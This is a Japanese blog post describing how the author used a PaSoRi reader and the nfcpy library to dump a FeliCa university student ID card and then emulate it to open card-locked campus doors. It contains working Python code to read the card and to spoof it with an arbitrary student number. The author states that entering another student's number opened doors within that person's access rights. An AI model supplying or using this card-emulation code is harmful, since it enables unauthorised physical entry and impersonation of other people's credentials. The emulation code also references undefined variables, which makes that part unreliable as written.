続:PaSoRiを使ってNFCで遊ぶ(学生証偽装)

### 前回のあらすじ

windowsでのセットアップと簡単な使い方について扱った。

https://qiita.com/yama4936/items/d2d72e8593cb8a349c74

# 学生証を偽造してうちの大学のドアシステムを突破する

## 導入

まず、前提としてうちの大学の一部の扉は学生証をかざさないと開かないシステムになっている。
前、学生証を忘れてゼミ室に入れず何もせず帰ったことがあった。

## 学生証の情報を読み取る

```dump.py
import nfc

def on_connect(tag: nfc.tag.Tag) -> None:
    print("\n".join(tag.dump()))

with nfc.ContactlessFrontend("usb") as clf:
    clf.connect(rdwr={"on-connect": on_connect})
```

```
python dump.py
```
うちの学生証では以下のようになる
```
System 8E3A (unknown)
Area 0000--FFFE
  Random Service 1012: write with key (0xFD08)
System FE00 (Common Area)
Area 0000--FFFE
  Area 1A80--1AFF
    Area 1A81--1AFF
      Random Service 106: write with key & read w/o key (0x1A88 0x1A8B)
       0000: 30 31 54 XX XX XX XX XX XX 00 00 00 00 00 30 00 |01TXXXXXX.....0.|
       0001: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
       0002: 32 33 30 31 32 31 37 33 32 30 32 32 30 34 30 31 |2301217320220401|
       0003: 39 39 39 39 31 32 33 31 36 30 30 46 30 35 37 37 |99991231600F0577|
      Area 1B00--1B3F
      Area 1B01--1B3F
        Random Service 108: write with key & read with key (0x1B08 0x1B0A)
        Area 1B40--1B7F
        Area 1B41--1B7F
          Random Service 109: write with key & read with key (0x1B48 0x1B4A)
          Area 42C0--42FF
          Area 42C1--42FF
            Random Service 267: write with key & read with key (0x42C8 0x42CA)
            Area 4300--433F
            Area 4301--433F
              Random Service 268: write with key & read with key (0x4308 0x430A)
              Area 4340--437F
              Area 4341--437F
                Random Service 269: write with key & read w/o key (0x4348 0x434B)
                 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
                 *     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
                 0002: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
```
Xの場所には学籍番号が入る

ここで注目すべきは以下である
```
System FE00 (Common Area)
```
情報が存在するエリアを示している
```
Random Service 106: write with key & read w/o key (0x1A88 0x1A8B)
       0000: 30 31 54 XX XX XX XX XX XX 00 00 00 00 00 30 00 |01TXXXXXX.....0.|
       0001: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
       0002: 32 33 30 31 32 31 37 33 32 30 32 32 30 34 30 31 |2301217320220401|
       0003: 39 39 39 39 31 32 33 31 36 30 30 46 30 35 37 37 |99991231600F0577|
```
学籍番号と発行日(?)、有効期限(?)が表示されている

## 書き込み偽装編

pasoriを書き込みモードとして学生証に偽装させる

nfc側がどんな情報を要求しているのかを確認する

以下偽装用のコード
```
import nfc

SYSTEM_CODE = 0xFE00  # エミュレーションする System Code

SERVICE_CODES = {
    0x0000: {
        0: b"\x00" * 16, 
        1: b"01TXXXXXX\x00\x00\x00\x00\x00\x30\x00",  # 任意の学籍番号
    },
    0x0001: {
        0: b"\x00" * 16, 
    },
    0x0002: {
        0: b"2301217320230401",
    },
    0x0003: {
        0: b"\x00" * 16,
    },
    0x1A8B: {
        0: b"\x00" * 16,
        1: b"\x00" * 16,
        2: b"\x00" * 16,
        3: b"\x00" * 16,
    },
}

def on_startup(target):
    target.sensf_res = bytearray.fromhex('01' + 'XXXXXXXXXXX' + 'XXXXXXXXXXXXX' + f"{SYSTEM_CODE:04X}")
    target.brty = "212F"
    return target

def service_read(service_code, block_number, *args):
    return SERVICE_CODES.get(service_code, {}).get(block_number, b"\x00" * 16)

def service_write(service_code, block_number, block_data, *args):
    if service_code in SERVICE_CODES and block_number in SERVICE_CODES[service_code]:
        SERVICE_CODES[service_code][block_number] = block_data
        print(f"`Service Write`: SC=0x{service_code:04X}, Block={block_number}, wb={wb}, we={we}")
        return True
    return False

def on_connect(tag):
    for service_code in SERVICE_CODES:
        tag.add_service(service_code, service_read, service_write)
    return True

with nfc.ContactlessFrontend('usb') as clf:
    print("\n接続待機中...")
    while True:
        try:
            clf.connect(card={'on-startup': on_startup, 'on-connect': on_connect})
        except Exception as e:
            print(f"エラー: {e}")
```

以下の部分によりどこの情報が要求されているのか確認出来る
```
def service_write(service_code, block_number, block_data, *args):
    if service_code in SERVICE_CODES and block_number in SERVICE_CODES[service_code]:
        SERVICE_CODES[service_code][block_number] = block_data
        print(f"`Service Write`: SC=0x{service_code:04X}, Block={block_number}, wb={wb}, we={we}")
        return True
    return False
```
以下の部分のコードも設定する必要がある。前回で説明している。
```
def on_startup(target):
    target.sensf_res = bytearray.fromhex('01' + 'XXXXXXXXXXX' + 'XXXXXXXXXXXXX' + f"{SYSTEM_CODE:04X}")
    target.brty = "212F"
    return target
```
以下の場所を修正することにより、偽装することが出来る。
```
SYSTEM_CODE = 0xFE00  # エミュレーションする System Code

SERVICE_CODES = {
    0x0000: {
        0: b"\x00" * 16, 
        1: b"01TXXXXXX\x00\x00\x00\x00\x00\x30\x00",  # 任意の学籍番号
    },
    0x0001: {
        0: b"\x00" * 16, 
    },
    0x0002: {
        0: b"2301217320230401",
    },
    0x0003: {
        0: b"\x00" * 16,
    },
    0x1A8B: {
        0: b"\x00" * 16,
        1: b"\x00" * 16,
        2: b"\x00" * 16,
        3: b"\x00" * 16,
    },
}
```

私は上記のコードで開けることが出来た。
他人の学籍番号を知っていれば任意の学籍番号を設定し、そのものが持っている権限の範囲内のドアを開けることも出来た。
何回も情報を削っていると、うちの学生証では、0xFE00の0x0000の1の学籍番号と発行日(?)、0x0001,0x0003,0x1A8Bに何かしらの情報が入ってることが条件となっていることが分かった。

今の気分が乗らないだけなのでもしかしたら要約したものをいつか書くかもしれない

NFCについて更に細かいことはドキュメントを読んでほしい

https://nfcpy.readthedocs.io/en/latest/topics/get-started.html#

https://www.sony.co.jp/Products/felica/business/tech-support/

ちなみに某SEC0Mである